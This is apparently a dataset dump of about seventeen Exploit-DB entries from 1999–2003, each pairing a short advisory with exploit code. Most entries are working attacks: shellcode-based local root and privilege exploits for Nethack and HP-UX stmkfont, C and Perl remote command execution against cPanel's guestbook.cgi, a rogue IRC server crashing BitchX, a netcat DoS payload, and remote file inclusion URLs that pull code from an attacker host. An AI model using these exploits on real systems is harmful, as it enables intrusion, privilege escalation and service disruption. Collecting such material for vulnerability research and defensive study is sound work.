QLWD/code_shield huggingface dataset:
标题: BitchX 1.0 - 'RPL_NAMREPLY' Denial of Service EDB-ID: 22259 CVE: 2003-1450 类型: DOS 平台: LINUX 发布日期: 2003-01-30 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6880/info

It has been reported that BitchX does not properly handle some types of replies contained in the RPL_NAMREPLY numeric. When a malformed reply is received by the client, the client crashes, resulting in a denial of service. 

/*
 * bitchx-353.c
 * --argv
 * Jan/30/03
 *
 * Vulnerable:
 *      BitchX-75p3
 *      BitchX-1.0c16
 *      BitchX-1.0c19
 *      BitchX-1.0c20cvs
 *
 * Not Vulnerable:
 *      BitchX-1.0c18   (So far..)
 *
 *
 *  Workaround:
 *      in function funny_namreply()
 *      after the PasteArgs(Args, 2);
 *      add in
 *      -- snip --
 *      if (Args[1] == NULL || Args[2] == NULL)
 *                      return;
 *      -- unsnip --
 *
 * ---- the vuln code of bx -----
 *       PasteArgs(Args, 2);
 *       type = Args[0];
 *       channel = Args[1];
 *       line = Args[2];
 *
 *       ptr = line;
 *       while (*ptr)
 *       {
 *               while (*ptr && (*ptr != ' '))
 *                       ptr++;
 *               user_count++;
 *               while (*ptr && (*ptr == ' '))
 *                       ptr++;
 *       }
 * ------------------------------
 *
 * [panasync(panasync@colossus.melnibone.org)] you would hope the irc server would be a trusted source.
 * [hellman(hellman@ipv6.gi-1.au.reroute.se)] 'Free porn at /server irc.owned.com'
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

static char shellcode[] = ":* 353 * =  :\n";    // <-- this could be something worse.

int acceptConnection(int fd)
{
   char *ip_addr;
   int descriptor, sal;
   struct sockaddr_in sa;
   sal = sizeof(sa);
   descriptor = accept(fd, (struct sockaddr *) &sa, &sal);
   if (descriptor >= 0) {
      ip_addr = inet_ntoa(sa.sin_addr);
      printf("Connection from %s:%d\n", ip_addr, ntohs(sa.sin_port));
   }
   return descriptor;
}


int main(int argc, char **argv)
{
   int sock, serv, port;
   struct sockaddr_in server;

   port = 6667;

   if (argc > 1)
        port = atoi(argv[1]);

   memset(&server, 0, sizeof(server));
   server.sin_port = htons(port);
   server.sin_family = AF_INET;
   server.sin_addr.s_addr = INADDR_ANY;

   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
   setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &serv, sizeof(int));

   if (bind(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in))
       == -1) {
      return 0;
   }

   listen(sock, 1);

   while (1) {
      serv = acceptConnection(sock);
      write(serv, shellcode, strlen(shellcode));
      close(serv);
   }
   return 0;
} URL: https://www.exploit-db.com/exploits/22259
标题: PHP-Board 1.0 - User Password Disclosure EDB-ID: 22252 CVE: 2003-1401 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6862/info

php-board user information is stored in flat files on the system hosting the software. Access to the files via the web is not sufficiently restricted. Remote attackers may request user files and gain access to php-board user and administrative passwords.

http://www.example.com/user/[NICKNAME].txt URL: https://www.exploit-db.com/exploits/22252
标题: D-Forum 1 - 'footer' Remote File Inclusion EDB-ID: 22257 CVE: 2003-1406 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6879/info
 
D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.
 
Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. 

http://[target]/includes/footer.php3?my_footer=http://[attacker]/script.txt URL: https://www.exploit-db.com/exploits/22257
标题: cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (1) EDB-ID: 22260 CVE: 2003-1425 类型: WEBAPPS 平台: CGI 发布日期: 2003-02-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6882/info

A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.

An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.

This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected. 

/*
 * DSR-cpanel.c by bob@dtors.net
 * Vulnerbility found by Polkeyzz
 * 
 * This is a Proof of Concept exploit for
 * the cpanel 5 and below. Problem is a open()
 * in guestbook.cgi.
 * 
 * User may view any file or execute commands.
 * There also exists a local vulnerbility to
 * escalate privileges to root.
 * 
 * PoC by bob of dtors.net >>DSR-apache rewrite<<
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
int sock;
char exp[75];
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *bob;
 
fprintf(stdout, "\n\tDSR-cpanel.c By bob.\n"); 
fprintf(stdout, "Proof Of Concept Code for cpanel 5.0 <\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
 
if(argc<3) 
  {
   fprintf(stderr, "\nUsage : %s <host> <command>\n\n", argv[0]);
   exit(1);
  } 
 
if ((bob=gethostbyname(argv[1])) == NULL)
   {
   fprintf(stderr, "Socket Error!\n\n");
   exit(1);
   }
sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(bob->h_addr, (char *)&sin.sin_addr, bob->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
fprintf(stdout, "Connecting...\n");
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
     {
     fprintf(stderr, "...Problem Connecting, Exited.\n");
     exit(1);
     }
else {
snprintf(sizeof(exp)-1, "GET 
/cgi-sys/guestbook.cgi/user=cpanel&template=%s HTTP/1.1\r\nHost: 
%s\r\n\r\n" ,argv[2], argv[1]);    
write(sock,exp,strlen(exp));
fprintf(stdout, "Command sent/executed!\n\n");
close(sock);
exit (0);
}
} URL: https://www.exploit-db.com/exploits/22260
标题: D-Forum 1 - 'header' Remote File Inclusion EDB-ID: 22256 CVE: 2003-1406 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/6879/info

D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.

Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. 

http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt URL: https://www.exploit-db.com/exploits/22256
标题: DotBr 0.1 - 'Exec.php3' Remote Command Execution EDB-ID: 22254 CVE: 2003-1405 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6867/info

The DotBr 'exec.php3' script is prone to a remote command execution vulnerability. This is due to insufficient sanitization of user-supplied data. Exploitation may result in execution of arbitrary shell commands with the privileges of the webserver process. 

http://www.example.com/admin/exec.php3?cmd=[COMMAND] URL: https://www.exploit-db.com/exploits/22254
标题: cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (2) EDB-ID: 22261 CVE: 2003-1425 类型: WEBAPPS 平台: CGI 发布日期: 2003-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6882/info
 
A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.
 
An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.
 
This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected.

#!usr/bin/perl
use LWP::UserAgent
print "##########################################\n";
print "#                                        #\n";
print "#      Remote Exploit for Cpanel 5       #\n";
print "#                                        #\n";
print "##########################################\n";
print "                           C0d3r: CaMaLeoN\n";
die "Use: $0 <host> <command>\n" unless ($ARGV[1]);
$web=$ARGV[0];
$comando=$ARGV[1];
$fallos="cgi-sys/guestbook.cgi?user=cpanel&template=$comando";
$url="http://$web/$fallos";
$ua = LWP::UserAgent->new();
$request = HTTP::Request->new('HEAD', $url);
$response = $ua->request($request);
if ($response->code == 200){
                            print "Command sent.\n";
                           }
                           else
                           {
                            print "The command could not be sent.\n";
                           } URL: https://www.exploit-db.com/exploits/22261
标题: iParty Conferencing Server - Denial of Service EDB-ID: 22250 CVE: 1999-1566 类型: DOS 平台: MULTIPLE 发布日期: 1999-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/6844/info

A buffer overflow condition has been discovered in the Intel iParty server.

It is possible to trigger a denial of service by submitting an excessive number of characters to the network port used by the iParty server. The server will need to be restarted to regain normal functionality.

This issue may be due to a buffer overrun, potentially resulting in arbitrary code execution. This possibility has not been confirmed. 

#!/bin/sh
# iParty Pooper by Ka-wh00t (wh00t@iname.com) - early May '99 - Created out of pure boredom.
# iParty is a cute little voice conferencing program still widely used (much to my surprise.)
# Unfortuneately, the daemon, that's included in the iParty download, can be shut down remotely.
# And in some circumstances, this can lead to other Windows screw-ups (incidents included internet
# disconnection, ICQ GPFs, Rnaapp crashes, etc.) Sometimes the daemon closes quietly, other
times
# a ipartyd.exe GPF. DoSers will hope for the GPF. At time of this script's release, the latest
# (only?) version of iParty/iPartyd was v1.2
# FOR EDUCATIONAL PURPOSES ONLY.


if [ "$1" = "" ]; then
echo "Simple Script by Ka-wh00t to kill any iParty Server v1.2 and under. (ipartyd.exe)"
echo "In some circumstances can also crash other Windows progs and maybe even Windows itself."
echo "Maybe you'll get lucky."
echo ""
echo "Usage: $0 <hostname/ip> <port>"
echo "Port is probably 6004 (default port)."
echo ""
echo "Remember: You need netcat for this program to work."
echo "If you see something similar to 'nc: command not found', get netcat."
else
if [ "$2" = "" ]; then
echo "I said the port is probably 6004, try that."
exit
else
rm -f ipp00p
cat > ipp00p << _EOF_
$6ì]}tTÕµ?"Ìa?p/?HÔD?0iAáœL%ÏÌ?EBEÔð'*}ÒyÓÔ¥(3êz?nÃuèÔj+š°(Ö?Ö?d'??øZiXåËy7 ¡'``àŸœÏ Cµ¶ïüÖÊ¹çî³ÏÞçìœÏ>çÜE¢6?â^ßî^v¯?ì^¯:ÂÆ{n"uí£Ç'g=oš§ ?8ÂÓ'L5"ïé²±?á€žDRGÒIôlq?Y­g?»Òi?ÆiÕŸëH¹H?w?òáœ²»Ô3ðl??*oÎ#ésC9m,

_EOF_
echo ""
echo "Sending kill..."
cat ipp00p | nc $1 $2
echo "Done."
rm -f ipp00p
fi
fi URL: https://www.exploit-db.com/exploits/22250
标题: RARLAB FAR 1.65/1.70 - File Manager Buffer Overflow EDB-ID: 22243 CVE: 2003-1445 类型: DOS 平台: LINUX 发布日期: 2003-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/6822/info

A buffer overflow vulnerability has been reported for FAR that may result in a denial of service condition. The vulnerability exists due to insufficient bounds checking performed by FAR when parsing directory paths. Specifically, when FAR attempts to parse overly long paths it will crash thereby resulting in a denial of service condition. 

SET A=A<260 chars>A
SET B=BBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\ URL: https://www.exploit-db.com/exploits/22243
标题: Ericsson HM220dp DSL Modem - World Accessible Web Administration Interface EDB-ID: 22244 CVE: 2003-1442 类型: REMOTE 平台: HARDWARE 发布日期: 2003-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/6824/info

The Ericsson HM220dp DSL Modem uses a web interface for remote administration and configuration. This interface does not require any authentication in order to access. There is no option to enable any authentication requirement. 

[script]
function exploit(){
window.location = "view-source:http://www.example.com/dummy.html?reboot=1";
}
[/script]
[input type="button" value="disconnect" onClick="exploit();"] URL: https://www.exploit-db.com/exploits/22244
标题: Nethack 3 - Local Buffer Overflow (1) EDB-ID: 22233 CVE: 2003-0358 类型: LOCAL 平台: LINUX 发布日期: 2003-02-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6806/info

By passing an overly large string when invoking nethack, it is possible to corrupt memory.

By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.

slashem, jnethack and falconseye are also prone to this vulnerability.

/*
        tsao@efnet #!IC@efnet 2k3
        thnx to aleph1 for execve shellcode &
        davidicke for setreuid() shellcode
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


char code[] =

"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long sp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {
     char *p;
     int i, off;

     p = malloc(sizeof(char) * atoi(argv[1]));
     memset(p,0x90,atoi(argv[1]));

     off = 220 - strlen(code);
     printf("shellcode at %d->%d\n",off,off+strlen(code));
     for(i=0;i<atoi(argv[1]);i++)
       p[i+off] = code[i];


     *(long *) &p[220] = sp() - atoi(argv[2]);
     printf("Using %x\n",sp() - atoi(argv[2]));

     execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0);
     perror("wtf");
} URL: https://www.exploit-db.com/exploits/22233
标题: Cedric Email Reader 0.2/0.3 - Skin Configuration Script Remote File Inclusion EDB-ID: 22241 CVE: 2003-1410 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/6818/info

It has been reported that Cedric Email Reader is prone to an issue that may allow remote attackers to include malicious files located on remote servers. This issue is present in the 'email.php' script.

Under some circumstances, it is possible for remote attackers to influence the include path for a configuration file to point to an external file on a remote server.

If the remote file is a malicious PHP script, this may be exploited to execute arbitrary system commands in the context of the web server.

It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed. 

http://[target]/email.php?login=attacker&cer_skin=http://[attacker]/code.php URL: https://www.exploit-db.com/exploits/22241
标题: Nethack 3 - Local Buffer Overflow (2) EDB-ID: 22234 CVE: 2003-0358 类型: LOCAL 平台: LINUX 发布日期: 2003-02-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.


/* DSR-nethack.c by bob@dtors.net
 * Vulnerbility Found by tsao.
 *
 * Local BufferOverflow that leads
 * to elevated privileges [games].
 *
 * Basic PoC code...nothing special.
 *[bob@dtors bob]$ ./DSR-nethack
 *
 *       DSR-nethack.c By bob.
 *   Local Exploit for Nethack 3.4.0
 *       DSR-[www.dtors.net]-DSR
 * 
 *   ret: 0xbffffd86
 *
 * Cannot find any current entries for 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.���
 * Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
 * Player types are: [-p role] [-r race]
 * sh-2.05b$ id -a
 * uid=12(games) gid=501(bob) groups=501(bob)
 * sh-2.05b$ 
 *
 * www.dtors.net // www.b0f.net
 */
#include <stdio.h>
char shellcode[]= /* shellcode by bob */
            
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
int main ()
{
        unsigned long ret = 0xbffffd86;  //Redhat 8.0 i386
        char buf[224]; 
        char smeg[1024];
        char *ptr;      
  int i=0;   
fprintf(stdout, "\n\tDSR-nethack.c By bob.\n"); 
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
 
memset(buf, 0x41, sizeof(buf)); 
        ptr = smeg; 
        for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90; 
        for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; 
        smeg[1024 - 1] = '\0'; //null byte
        memcpy(smeg,"EGG=",4); 
        putenv(smeg);
        buf[220] = (ret & 0x000000ff);            
        buf[221] = (ret & 0x0000ff00) >> 8;
        buf[222] = (ret & 0x00ff0000) >> 16;
        buf[223] = (ret & 0xff000000) >> 24;
        buf[224] = '\0';
        
        fprintf(stdout,"ret: 0x%08x\n",ret);
        
        execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s",  buf, 
NULL); //weeoooweeeeooowooo
        return 0;
} URL: https://www.exploit-db.com/exploits/22234
标题: Opera 6.0/7.0 - opera.PluginContext Native Method Denial of Service EDB-ID: 22240 CVE: 2003-1397 类型: DOS 平台: WINDOWS 发布日期: 2003-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/6814/info

Opera ships with a trusted Java class ('opera.PluginContext') that includes a native method that is reportedly prone to denial of service attacks. It is possible for a malicious Java applet to trigger this condition to cause a denial of service. This issue was reported in versions of Opera for Microsoft Windows operating systems. It is not known if other platforms are also affected. Java support must enabled for this issue to be present and can be disabled to prevent attacks. 

//Marc Schoenefeld 1/13/2003, www.illegalaccess.org
//not runnable, a little crippled, there are couple of obvious syntax errors
to avoid script-kidding

...
import opera.PluginContext; // !! import the vulnerable class
...

public class OperaCall2 extends App1et
{
- -
- - public OperaCall2()
- - {
- - }
- -
- - public void paint(Graphics g)
- - {
- - PluginContext plugincontext = new PluginContext(l);
- - try
- - {
- - plugincontext.showDocument(new URL("http://xxx.xxx" + new
String(new byte[30000])));
- - }
- - catch(Exception exception)
- - {
- - exception.printStackTrace();
- - }
- - }
} URL: https://www.exploit-db.com/exploits/22240
标题: HP-UX 10.x - stmkfont Alternate Typeface Library Buffer Overflow (1) EDB-ID: 22246 CVE: 2003-1359 类型: LOCAL 平台: HP-UX 发布日期: 2003-02-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6836/info

A buffer overflow vulnerability has been reported in the stmkfont utility shipped with HP-UX systems. The problem occurs due to insufficient bounds checking on user-suplied data to the alternate typeface library command-line option.

A local attacker may be able to exploit this issue to execute arbitrary code with elevated privileges.

All Avaya PDS 9 and 11 platforms are vulnerable to this issue. Avaya PDS 12 platforms running on HP-UX 11.00 are vulnerable as well. PDS 12 versions running on HP-UX 11.11 are not vulnerable. 

/*## copyright LAST STAGE OF DELIRIUM jun 2002 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/stmkfont                                                       #*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define ADRNUM 1200
#define NOPNUM 12000 
#define PADNUM 3

char shellcode[]=
    "\xeb\x5f\x1f\xfd"    /* bl     .+8,%r26               */
    "\x0b\x39\x02\x99"    /* xor    %r25,%r25,%r25         */
    "\xb7\x5a\x40\x22"    /* addi,< 0x11,%r26,%r26         */
    "\x0f\x40\x12\x0e"    /* stbs   %r0,7(%r26)            */
    "\x20\x20\x08\x01"    /* ldil   L%0xc0000004,%r1       */
    "\xe4\x20\xe0\x08"    /* ble    R%0xc0000004(%sr7,%r1) */
    "\xb4\x16\x70\x16"    /* addi,> 0xb,%r0,%r22           */
    "/bin/sh"
;

char jump[]=
    "\xe0\x40\x00\x00"    /* be     0x0(%sr0,%rp)          */
    "\x37\xdc\x00\x00"    /* copy   %sp,%ret0              */
;

char nop[]="\x0a\xb5\x02\x95";

int main(int argc,char **argv){
    char buffer[20000],adr[4],*b,*envp[2];  
    int i; 

    printf("copyright LAST STAGE OF DELIRIUM jun 2002 poland  //lsd-pl.net/\n");
    printf("/usr/bin/stmkfont for HP-UX 10.20 700/800\n");    

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-16732;
    printf("0x%x\n",*((unsigned long*)adr));

    envp[0]=&buffer[2000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<PADNUM;i++) *b++=0x61;
    for(i=0;i<ADRNUM;i++)  *b++=adr[i%4];
    *b=0;

    b=&buffer[2000];
    strcpy(b,"lsd=");b+=4;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/stmkfont","lsd",buffer,0,envp);
} URL: https://www.exploit-db.com/exploits/22246
标题: HP-UX 10.x - stmkfont Alternate Typeface Library Buffer Overflow (2) EDB-ID: 22247 CVE: 2003-1359 类型: LOCAL 平台: HP-UX 发布日期: 2003-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/6836/info
 
A buffer overflow vulnerability has been reported in the stmkfont utility shipped with HP-UX systems. The problem occurs due to insufficient bounds checking on user-suplied data to the alternate typeface library command-line option.
 
A local attacker may be able to exploit this issue to execute arbitrary code with elevated privileges.
 
All Avaya PDS 9 and 11 platforms are vulnerable to this issue. Avaya PDS 12 platforms running on HP-UX 11.00 are vulnerable as well. PDS 12 versions running on HP-UX 11.11 are not vulnerable.

#!/bin/sh
#   File : ex_stmkfont.sh
#   Exploit for command stmkfont of HPUX to get bin gid BUFF.
# * Usage: chmod +x ex_stmkfont.sh ; ./ex_stmkfont.sh
#   Write by watercloud@xfocus.org       2003-2-20
#   Site : www.xfocus.org   www.xfocus.net
NOP_LEN=65
ADDR_LEN=5000
BUFF="";i=0
while [ $i -ne $NOP_LEN ] ; do
  BUFF=$BUFF'\0013\0071\0002\0231'  ; i=$(($i+1))
done
BUFF=$BUFF'\0013\0071\0002\0127\0052\0344\0227\0020\0050\0073\0160\0357\0010\0067\0002\0103'
BUFF=$BUFF'\0266\0372\0100\0004\0266\0371\0100\0004\0266\0370\0100\0004\0344\0140\0340\0010'
BUFF=$BUFF'\0266\0366\0100\0376\0013\0071\0002\0231\0053\0044\0227\0020\0050\0073\0160\0357'
BUFF=$BUFF'\0353\0137\0037\0375\0013\0071\0002\0231\0267\0132\0100\0042\0017\0100\0022\0016'
BUFF=$BUFF'\0010\0071\0002\0103\0344\0140\0340\0010\0264\0026\0160\0026/bin/shX'
i=0;
while [ $i -ne $ADDR_LEN ] ; do
  BUFF=$BUFF'\0177\0177\0001\0020'; i=$(($i+1))
done
STR=`/bin/echo "${BUFF}"`

/usr/bin/stmkfont -d1 x -d2 $STR x
#EOF URL: https://www.exploit-db.com/exploits/22247
标题: Netgear FM114P Wireless Firewall - File Disclosure EDB-ID: 22236 CVE: 2003-1427 类型: REMOTE 平台: HARDWARE 发布日期: 2003-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/6807/info

Netgear FM114P Wireless Firewalls allow directory traversal using escaped character sequences. It is possible for an unauthenticated user to retrieve the firewall's configuration file by escaping from the /upnp/service directory.

http://<ip-or-hostname>:<port>/upnp/service/%2e%2e%2fnetgear.cfg URL: https://www.exploit-db.com/exploits/22236